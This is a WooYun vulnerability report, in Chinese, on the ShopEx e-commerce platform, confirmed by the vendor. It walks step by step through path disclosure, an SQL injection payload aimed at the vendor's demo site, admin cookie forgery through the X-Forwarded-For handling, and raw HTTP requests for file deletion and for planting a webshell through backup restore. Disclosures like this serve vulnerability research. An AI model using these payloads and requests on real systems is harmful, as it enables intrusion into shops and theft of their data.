当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-011194

漏洞标题:ShopEx一步一步拿shell

相关厂商:ShopEx

漏洞作者: yy520

提交时间:2012-08-23 00:58

修复时间:2012-10-07 00:59

公开时间:2012-10-07 00:59

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-08-23: 细节已通知厂商并且等待厂商处理中
2012-08-23: 厂商已经确认,细节仅向厂商公开
2012-08-26: 细节向第三方安全合作伙伴开放
2012-10-17: 细节向核心白帽子及相关领域专家公开
2012-10-27: 细节向普通白帽子公开
2012-11-06: 细节向实习白帽子公开
2012-10-07: 细节向公众公开

简要描述:

昨天刚从官网下载下来,应该是最新版的
整体没什么亮点,纯属刷rank
PS:我擦~ 编辑了三次,能不能添加个保存功能~

详细说明:

0x1 爆路径
http://demo.shopex.com.cn/485/index.php?gOo


额~ 这个表示对我无用
0x2 注入
http://demo.shopex.com.cn/485/?member-120120822173108'/**/and/**/ExtractValue(0x64,concat(0x01,(select/**/@@version)))/**/order/**/by/**/'1-orderdetail.html


得到一个注入点,一般接下来的步骤都是爆密码,解md5,可是我觉得我rp极差,一般都解不出,所以..第三步
0x3 后台cookie设置
登录成功之后会设置3个cookie

setcookie('SHOPEX_LG_KEY',md5(remote_addr().$aResult['op_id']));
setcookie("SHOPEX_LOGIN_NAME",$_POST['usrname'],(time()+86400*10));
setcookie( "SHOPEX_SID", $this->sess_id );
function remote_addr(){
if(!isset($GLOBALS['_REMOTE_ADDR_'])){
$addrs = array();
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
foreach( array_reverse( explode( ',', $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) as $x_f )
{
$x_f = trim($x_f);
if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $x_f ) )
{
$addrs[] = $x_f;
}
}
}
$GLOBALS['_REMOTE_ADDR_'] = isset($addrs[0])?$addrs[0]:$_SERVER['REMOTE_ADDR'];
}
return $GLOBALS['_REMOTE_ADDR_'];
}


我们跑到XXX_op_sessions表 注射出sess_id,跑去XXX_operators表 注射出username和对应的op_id,构造cookie 登录上后台,本来想拿演示网做测试,结果我所在的网络有点奇葩,算了,本地测试成功。。。。
0x4 后台任意文件删除
终于进入后台了,先玩一下
构造

POST /shopex/shopadmin/index.php?ctl=system/comeback&act=removeTgz&_ajax=true&_ss=setting,tools HTTP/1.1
Host: 10.1.1.100
Proxy-Connection: keep-alive
Content-Length: 38
Origin: http://10.1.1.100
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.79 Safari/537.1
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Accept: text/javascript, text/html, application/xml, text/xml, */*
Referer: http://10.1.1.100/shopex/shopadmin/index.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: *********************
tgz[]=multibak_20120822202808.tgz&__=1


把tgz[]换成想删除的文件的相对路径,极其鸡肋,对我来说也是无用
0x5 后台拿shell
本来还是想拿官网演示站 做演示的 结果 相应的功能被禁用了,rp如此之差 完全可以体现出来了
本地测试~~~
先备份个,然后直接下载备份文件,修改压缩文件里面的文件名以及文件内容


最后将压缩文件的后缀修改为jpg 后台直接传图片 获取图片地址
在数据恢复处 恢复数据 截包修改

GET /shopex/shopadmin/index.php?ctl=system/comeback&act=comeback&p[0]=multibak_20120822202808.tgz&p[1]=1345638490&p[2]=2&_ajax=true&_ss=setting,tools HTTP/1.1
Host: 10.1.1.100
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.79 Safari/537.1
Accept: text/javascript, text/html, application/xml, text/xml, */*
Referer: http://10.1.1.100/shopex/shopadmin/index.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: ******************


将p[0]修改为之前上传图片的地址 如:/../../images/default/default_preview_pic.jpg
在拦截到最后一个包的时候不给予通过~ 如果通过之后会把之前的临时文件给删除
最后shell路径:
/home/tmp/md5('/../../images/default/default_preview_pic.jpg')/yy520.php.sql
基本原理和
http://wooyun.org/bugs/wooyun-2012-010431 差不多~ 所以就少截一点图了。

漏洞证明:

前面好像证明过了~~

修复方案:

其实我也不太懂 :)

版权声明:转载请注明来源 yy520@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2012-08-23 11:56

厂商回复:

感谢您为shopex安全做的贡献
我们会尽快处理
非常感谢

最新状态:

暂无